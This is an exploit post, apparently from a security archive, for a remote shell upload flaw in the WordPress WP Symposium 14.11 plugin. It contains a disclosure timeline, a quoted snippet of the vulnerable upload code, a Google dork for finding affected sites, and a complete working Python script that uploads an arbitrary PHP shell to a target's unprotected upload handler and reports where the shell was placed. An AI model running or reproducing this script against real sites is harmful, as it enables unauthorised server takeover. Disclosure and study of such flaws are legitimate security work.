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WordPress WP Symposium 14.11 Shell Upload

WordPress WP Symposium 14.11 Shell Upload
Posted Dec 12, 2014
Authored by Claudio Viviani

WordPress WP Symposium plugin version 14.11 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | ac04e83350139c5901ed8fd42e22a464

WordPress WP Symposium 14.11 Shell Upload

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#!/usr/bin/python
#
# Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability
#
#
# Vulnerability discovered by Claudio Viviani
#
# Exploit written by Claudio Viviani
#
#
# 2014-11-27: Discovered vulnerability
# 2014-12-01: Vendor Notification (Twitter)
# 2014-12-02: Vendor Notification (Web Site)
# 2014-12-04: Vendor Notification (E-mail)
# 2014-12-11: No Response/Feedback
# 2014-12-11: Published
#
# Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
#
# --------------------------------------------------------------------
#
# The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
#
# if ($_FILES["file"]["error"] > 0) {
# echo "Error: " . $_FILES["file"]["error"] . "<br>";
# } else {
# $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');
# //echo "Upload: " . $_FILES["file"]["name"] . "<br>";
# $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
# //echo "Extension: " . $ext . "<br />";
# if (strpos($allowedExts, $ext)) {
# $extAllowed = true;
# } else {
# $extAllowed = false;
# }
# //echo "Type: " . $_FILES["file"]["type"] . "<br>";
# //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
# //echo "Stored in: " . $_FILES["file"]["tmp_name"];
#
# if (!$extAllowed) {
# echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);
# } else {
# // Copy file to tmp location
# ...
# ...
# ...
#
# BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension
#
# The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"
#
# ---------------------------------------------------------------------
#
# Dork google: index of "wp-symposium"
#
#
# Tested on BackBox 3.x with python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse
# File management
import os, os.path, mimetypes

# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url

# Check if file exists and has readable
def checkfile(file):
if not os.path.isfile(file) and not os.access(file, os.R_OK):
print '[X] '+file+' file is missing or not readable'
sys.exit(1)
else:
return file
# Get file's mimetype
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

# Create multipart header
def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName):

getfields = dict()
getfields['uploader_uid'] = '1'
getfields['uploader_dir'] = './'+randDirName
getfields['uploader_url'] = url_symposium_upload

payloadcontent = open(payloadname).read()

LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'

L = []
for (key, value) in getfields.items():
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)

L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php"))
L.append('Content-Type: %s' % get_content_type(payloadname))
L.append('')
L.append(payloadcontent)
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
return body

banner = """
___ ___ __
| Y .-----.----.--| .-----.----.-----.-----.-----.
|. | | _ | _| _ | _ | _| -__|__ --|__ --|
|. / \ |_____|__| |_____| __|__| |_____|_____|_____|
|: | |__|
|::.|:. |
`--- ---'
___ ___ _______ _______ __
| Y | _ |______| _ .--.--.--------.-----.-----.-----|__.--.--.--------.
|. | |. 1 |______| 1___| | | | _ | _ |__ --| | | | |
|. / \ |. ____| |____ |___ |__|__|__| __|_____|_____|__|_____|__|__|__|
|: |: | |: 1 |_____| |__|
|::.|:. |::.| |::.. . |
`--- ---`---' `-------'
Wp-Symposium
Sh311 Upl04d Vuln3r4b1l1ty
v14.11

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('-f', '--file', action="store",
help="Insert file name, ex: shell.php",
)
commandList.add_option('--timeout', action="store", default=10, type="int",
help="[Timeout Value] - Default 10",
)

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file:
print(banner)
commandList.print_help()
sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/'

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

randDirName = id_generator()
randShellName = id_generator()

bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'content-type': content_type,
'content-length': str(len(bodyupload)) }

try:
req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers)
response = urllib2.urlopen(req)
read = response.read()

if "error" in read or read == "0" or read == "":
print("[X] Upload Failed :(")
else:
print("[!] Shell Uploaded")
print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")

except urllib2.HTTPError as e:
print("[X] "+str(e))
except urllib2.URLError as e:
print("[X] Connection Error: "+str(e))
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